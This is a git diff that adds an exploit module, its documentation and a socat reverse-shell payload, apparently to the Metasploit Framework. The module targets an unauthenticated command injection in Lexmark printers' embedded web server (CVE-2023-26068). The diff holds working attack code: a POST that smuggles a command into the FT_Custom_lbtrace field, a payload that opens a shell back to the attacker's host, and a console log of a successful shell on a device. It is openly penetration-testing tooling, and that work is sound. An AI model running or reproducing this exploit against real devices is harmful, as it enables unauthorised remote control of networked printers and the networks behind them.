diff --git a/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md b/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md new file mode 100644 index 0000000000..7019321db5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md @@ -0,0 +1,167 @@ +## Vulnerable Application +A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19. +The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked +if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings` +is accessible without authentication. The endpoint allows the user to configure a number of different fax settings. + +A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being +used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands. + +### Installation Steps + +Testing of this module was preformed on a physical device. Emulating firmware through qemu or similar methods have not +been explored. + +### Affected Models + +| Lexmark Models | Affected Releases | Fixed Releases | +| ---------------|-------------------|-------------------------| +| CX930, CX931, CX942,
CX943, CX944 | CXTPC.081.232 and previous | CXTPC.081.233 and later | +| XC9325, XC9335, XC9445,
XC9455, XC9465 | CXTPC.081.232 and previous | CXTPC.081.233 and later | +| CS943 | CSTPC.081.232 and previous | CSTPC.081.233 and later | +| MX432 | MXTCT.081.232 and previous | MXTCT.081.233 and later | +| XM3142 | MXTCT.081.232 and previous | MXTCT.081.233 and later | +| MX931 | MXTPM.081.232 and previous | MXTPM.081.233 and later | +| CX730, CX735 | CXTMM.081.232 and previous | CXTMM.081.233 and later | +| XC4342, XC4352 | CXTMM.081.232 and previous | CXTMM.081.233 and later | +| CS730, CS735 | CSTMM.081.232 and previous | CSTMM.081.233 and later | +| C4342, C4352 | CSTMM.081.232 and previous | CSTMM.081.233 and later | +| B2236 | MSLSG.081.232 and previous | MSLSG.081.233 and later | +| MB2236 | MXLSG.081.232 and previous | MXLSG.081.233 and later | +| MS331, MS431, MS439 | MSLBD.081.232 and previous | MSLBD.081.233 and later | +| M1342 | MSLBD.081.232 and previous | MSLBD.081.233 and later | +| B3442, B3340 | MSLBD.081.232 and previous | MSLBD.081.233 and later | +| XM1342 | MXLBD.081.232 and previous | MXLBD.081.233 and later | +| MX331, MX431 | MXLBD.081.232 and previous | MXLBD.081.233 and later | +| MB3442 | MXLBD.081.232 and previous | MXLBD.081.233 and later | +| MS321, MS421, MS521, MS621 | MSNGM.081.232 and previous | MSNGM.081.233 and later | +| M1242, M1246 | MSNGM.081.232 and previous | MSNGM.081.233 and later | +| B2338, B2442, B2546, B2650 | MSNGM.081.232 and previous | MSNGM.081.233 and later | +| MS622 | MSTGM.081.232 and previous | MSTGM.081.233 and later | +| M3250 | MSTGM.081.232 and previous | MSTGM.081.233 and later | +| MX321 | MXNGM.081.232 and previous | MXNGM.081.233 and later | +| MB2338 | MXNGM.081.232 and previous | MXNGM.081.233 and later | +| MX421, MX521, MX522, MX622 | MXTGM.081.232 and previous | MXTGM.081.233 and later | +| XM1242, XM1246, XM3250 | MXTGM.081.232 and previous | MXTGM.081.233 and later | +| MB2442. MB2546, MB2650 | MXTGM.081.232 and previous | MXTGM.081.233 and later | +| MS725, MS821, MS823, MS825 | MSNGW.081.232 and previous | MSNGW.081.233 and later | +| B2865 | MSNGW.081.232 and previous | MSNGW.081.233 and later | +| MS822, MS826 | MSTGW.081.232 and previous | MSTGW.081.233 and later | +| M5255, M5270 | MSTGW.081.232 and previous | MSTGW.081.233 and later | +| MX721, MX722, MX725,
MX822, MX826 | MXTGW.081.232 and previous | MXTGW.081.233 and later | +| XM5365, XM5370, XM7355, XM7370 | MXTGW.081.232 and previous | MXTGW.081.233 and later | +| MB2770 | MXTGW.081.232 and previous | MXTGW.081.233 and later | +| C3426 | CSLBN.081.232 and previous | CSLBN.081.233 and later | +| CS431, CS439 | CSLBN.081.232 and previous | CSLBN.081.233 and later | +| CS331 | CSLBL.081.232 and previous | CSLBL.081.233 and later | +| C3224, C3326 | CSLBL.081.232 and previous | CSLBL.081.233 and later | +| C2326 | CSLBN.081.232 and previous | CSLBN.081.233 and later | +| MC3426 | CXLBN.081.232 and previous | CXLBN.081.233 and later | +| CX431 | CXLBN.081.232 and previous | CXLBN.081.233 and later | +| XC2326 | CXLBN.081.232 and previous | CXLBN.081.233 and later | +| MC3426 | CXLBN.081.232 and previous | CXLBN.081.233 and later | +| MC3224, MC3326 | CXLBL.081.232 and previous | CXLBL.081.233 and later | +| CX331 | CXLBL.081.232 and previous | CXLBL.081.233 and later | +| CS622 | CSTZJ.081.232 and previous | CSTZJ.081.233 and later | +| C2240 | CSTZJ.081.232 and previous | CSTZJ.081.233 and later | +| CS421, CS521 | CSNZJ.081.232 and previous | CSNZJ.081.233 and later | +| C2325, C2425, C2535 | CSNZJ.081.232 and previous | CSNZJ.081.233 and later | +| CX522, CX622, CX625 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later | +| XC2235, XC4240 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later | +| MC2535, MC2640 | CXTZJ.081.232 and previous | CXTZJ.081.233 and later | +| CX421 | CXNZJ.081.232 and previous | CXNZJ.081.233 and later | +| MC2325, MC2425 | CXNZJ.081.232 and previous | CXNZJ.081.233 and later | +| CX820, CX825, CX827, CX860 | CXTPP.081.232 and previous | CXTPP.081.233 and later | +| XC6152, XC6153, XC8155,
XC8160, XC8163 | CXTPP.081.232 and previous | CXTPP.081.233 and later | +| CS820, CS827 | CSTPP.081.232 and previous | CSTPP.081.233 and later | +| C6160 | CSTPP.081.232 and previous | CSTPP.081.233 and later | +| CS720, CS725, CS727, CS728 | CSTAT.081.232 and previous | CSTAT.081.233 and later | +| C4150 | CSTAT.081.232 and previous | CSTAT.081.233 and later | +| CX725, CX727 | CXTAT.081.232 and previous | CXTAT.081.233 and later | +| XC4140, XC4143, XC4150, XC4153 | CXTAT.081.232 and previous | CXTAT.081.233 and later | +| CS921, CS923, CS927 | CSTMH.081.232 and previous | CSTMH.081.233 and later | +| C9235 | CSTMH.081.232 and previous | CSTMH.081.233 and later | +| CX920, CX921, CX922,
CX923, CX924 | CXTMH.081.232 and previous | CXTMH.081.233 and later | +| XC9225, XC9235, XC9245,
XC9255, XC9265 | CXTMH.081.232 and previous | CXTMH.081.233 and later | + +## Verification Steps +1. Start `msfconsole` +1. Do: `use exploit/linux/` +1. Do: `set RHOST [IP]` +1. Do: `set FETCH_SRVHOST [IP]` +1. Do: `set LHOST [IP]` +1. Do: `exploit` + +## Options + +### SLEEP + +If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request +or two to wake it up before running the check method or exploit. This parameter indicates how to to wait for the printer +to wake up. + +## Scenarios + +### Lexmark Printer MC3224 CXLBL.073.023 +``` +msf6 > use linux/http/lexmark_faxtrace_settings +[*] Using configured payload cmd/unix/reverse_netcat +msf6 exploit(linux/http/lexmark_faxtrace_settings) > set rhosts 192.168.1.71 +rhosts => 192.168.1.71 +msf6 exploit(linux/http/lexmark_faxtrace_settings) > set lhost 192.168.1.72 +lhost => 192.168.1.72 +msf6 exploit(linux/http/lexmark_faxtrace_settings) > options + +Module options (exploit/linux/http/lexmark_faxtrace_settings): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.71 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SLEEP 10 yes Sleep time to wait for the print to wake + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_socat_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.72 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix (In-Memory) + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/lexmark_faxtrace_settings) > run + +[*] Started reverse TCP handler on 192.168.1.72:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Waking up the printer ... +[+] The target appears to be vulnerable. +[*] Executing Unix (In-Memory) for cmd/unix/reverse_socat_tcp +[*] Command shell session 5 opened (192.168.1.72:4444 -> 192.168.1.71:54456) at 2023-08-30 19:51:57 -0400 + + +Shell Banner: +httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ +----- + + +httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ id +id +uid=985(httpd) gid=982(httpd) groups=982(httpd) +httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ uname -a +uname -a +Linux ET788C773C36F9 4.17.19-yocto-standard-74b7175b2a3452f756ffa76f750e50db #1 SMP PREEMPT Mon Jun 29 19:46:01 UTC 2020 armv7l GNU/Linux +httpd@ET788C773C36F9:/usr/share/web/cgi-bin$ +``` diff --git a/modules/exploits/linux/http/lexmark_faxtrace_settings.rb b/modules/exploits/linux/http/lexmark_faxtrace_settings.rb new file mode 100644 index 0000000000..1a7305d1c0 --- /dev/null +++ b/modules/exploits/linux/http/lexmark_faxtrace_settings.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Retry + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Lexmark Device Embedded Web Server RCE', + 'Description' => %q{ + A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19. + The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked + if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings` + is accessible without authentication. The endpoint allows the user to configure a number of different fax settings. + + A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being + used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands. + }, + 'Author' => [ + 'James Horseman', # Analysis & PoC + 'Zach Hanley', # Analysis & PoC + 'jheysel-r7' # Msf module + ], + 'References' => [ + [ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'], + [ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'], + [ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'], + [ 'CVE', '2023-26068'] + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => {}, + 'Platform' => ['unix', 'linux'], + 'Privileged' => false, + 'Arch' => [ ARCH_CMD ], + 'Payload' => { + 'BadChars' => '";|`' + }, + 'Targets' => [ + [ + 'Unix (In-Memory)', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_socat_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-03-13', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + + register_options( + [ + OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]), + ] + ) + end + + def check + send_wakeup + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), + 'method' => 'GET' + ) + + return Exploit::CheckCode::Unknown('The target did not respond ') unless res + return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings' + + Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable and listening') + end + + # If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request + # or two to wake it up before running the check method or exploit. + def send_wakeup + retry_until_truthy(timeout: datastore['SLEEP']) do + print_status('Waking up the printer...') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), + 'method' => 'GET' + ) + if res && res.code == 200 + break + else + next + end + end + end + + def exploit + if datastore['ForceExploit'] || !datastore['AutoCheck'] + send_wakeup + end + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), + 'method' => 'POST', + 'data' => "FT_Custom_lbtrace=$(#{payload.encoded})" + ) + print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb new file mode 100644 index 0000000000..206fc81dc4 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Unix Command Shell, Reverse TCP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'jheysel-r7', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => { + 'Offsets' => {}, + 'Payload' => '' + } + ) + ) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:#{datastore['LHOST']}:#{datastore['LPORT']}" + end +end